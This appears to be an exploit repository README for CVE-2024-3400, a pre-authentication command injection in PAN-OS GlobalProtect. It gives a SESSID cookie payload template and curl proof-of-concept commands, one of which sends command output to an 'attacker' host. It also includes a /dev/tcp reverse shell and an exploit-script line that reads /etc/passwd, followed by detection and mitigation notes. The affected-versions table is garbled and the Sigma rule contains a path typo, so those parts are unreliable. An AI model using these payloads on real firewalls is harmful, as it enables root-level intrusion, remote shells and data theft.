## https://sploitus.com/exploit?id=F640E363-33EA-5879-AB31-C2F1B1B5A088
# CVE-2024-3400: Palo Alto PAN-OS GlobalProtect Command Injection RCE
**CVSS 10.0 CRITICAL | CWE-78: OS Command Injection | Mass Exploited In The Wild**
---
## Overview
CVE-2024-3400 is a pre-authentication command injection vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway interfaces. The vulnerability allows an unauthenticated attacker to execute arbitrary commands with root privileges on the affected firewall.
- **Discovered by:** Volexity (April 2024)
- **Attributed threat actor:** UNC4554 / Midnight Blizzard (Russian state-sponsored)
- **CVE ID:** CVE-2024-3400
- **CVSS Score:** 10.0 (Critical)
- **CWE:** CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- **Impact:** Full compromise of PAN-OS firewall appliances, lateral movement, ransomware deployment
- **Status:** Actively exploited as a 0-day prior to public disclosure
---
## Technical Details
### Root Cause
The vulnerability resides in the GlobalProtect portal and gateway component's session cookie handling. The function responsible for processing the `SESSID` cookie fails to properly sanitize user-supplied input before passing it to a shell command.
Specifically, an unauthenticated HTTP request to the GlobalProtect portal endpoint (`/global-protect/login.esp`) with a crafted `SESSID` cookie containing embedded shell metacharacters (backticks and variable expansion) results in command injection.
### Injection Mechanism
The vulnerable code path operates as follows:
1. The GlobalProtect portal receives a request to `/global-protect/login.esp`
2. The `SESSID` cookie value is extracted without sanitization
3. This value is interpolated into a shell command string
4. The command is executed via `system()` or similar OS command execution function
5. Because the application runs as root, the injected command executes with full system privileges
### Payload Construction
The injection payload uses backtick-delimited commands within the `SESSID` cookie:
```
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
```
The path traversal (`/../../../`) breaks out of the intended directory, and the backtick-quoted `COMMAND` portion causes the shell to execute the attacker's input. Output redirection or reverse shell mechanisms can be used to exfiltrate command results.
---
## Affected Versions
| PAN-OS Version | Affected | Fixed In |
|---------------|----------|----------|
| 10.2.x | & /dev/tcp/192.168.1.100/4444 0>&1'"
```
### Arbitrary File Read
```bash
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
```
---
## Proof-of-Concept (curl)
```bash
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
```
---
## PoC Script
See `exploit.py` in this repository for a fully-featured Python exploit supporting:
- Arbitrary command execution
- Optional proxy support (Burp Suite / mitmproxy)
- SSL verification control
- Timeout and retry handling
- Response analysis
---
## Detection
### IOCs
- Requests to `/global-protect/login.esp` with abnormally long or suspicious `SESSID` cookies
- Cookies containing path traversal sequences (`/../../`) combined with backtick characters
- Unexpected processes spawned by the GlobalProtect component
- Outbound connections from the firewall to unknown IP addresses on unusual ports
- Files written to `/opt/panlogs/tmp/device_telemetry/` with `.py` extensions
### Sigma Rule (Simplified)
```yaml
title: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
```
---
## Mitigation
### Immediate Actions
1. **Update PAN-OS** to the fixed versions listed above
2. If immediate patching is not possible, apply one of the following workarounds:
- **Device Telemetry Disable:** `set deviceconfig system telemetry disable yes` (blocks the vulnerable code path without requiring a reboot)
- **GlobalProtect Portal/Gateway Access Control:** Restrict access to trusted source IPs
3. **Scan for compromise:** Check for unauthorized files in `/opt/panlogs/tmp/device_telemetry/`
4. **Review logs:** Audit GlobalProtect login logs for anomalous `SESSID` cookie values
### Permanent Fix
Apply the hotfix provided by Palo Alto Networks. The fix properly sanitizes cookie input before shell command construction.
### Compromise Assessment
If you suspect exploitation:
1. Collect forensic images of affected firewalls
2. Audit all configuration changes (last-modified timestamps)
3. Review running processes and cron jobs
4. Check for unauthorized SSH keys and user accounts
5. Rotate all VPN credentials and shared secrets
6. Inspect network traffic for C2 communication patterns
---
## References
| Source | Link |
|--------|------|
| Palo Alto Security Advisory | https://security.paloaltonetworks.com/CVE-2024-3400 |
| Volexity Analysis | https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-command-injection-vulnerability-in-palo-alto-networks-pan-os/ |
| NVD Entry | https://nvd.nist.gov/vuln/detail/CVE-2024-3400 |
| CWE-78 Detail | https://cwe.mitre.org/data/definitions/78.html |
| CISA KEV | https://www.cisa.gov/known-exploited-vulnerabilities-catalog |
| ATT&CK Technique | https://attack.mitre.org/techniques/T1190/ |
---
## Disclaimer
This repository is provided for **authorized security testing and educational purposes only**. Unauthorized exploitation of this vulnerability is illegal. The authors are not responsible for misuse of this information. Always ensure you have explicit written permission before testing any system.
---
## License
MIT License - This content is provided for defensive security research and authorized testing.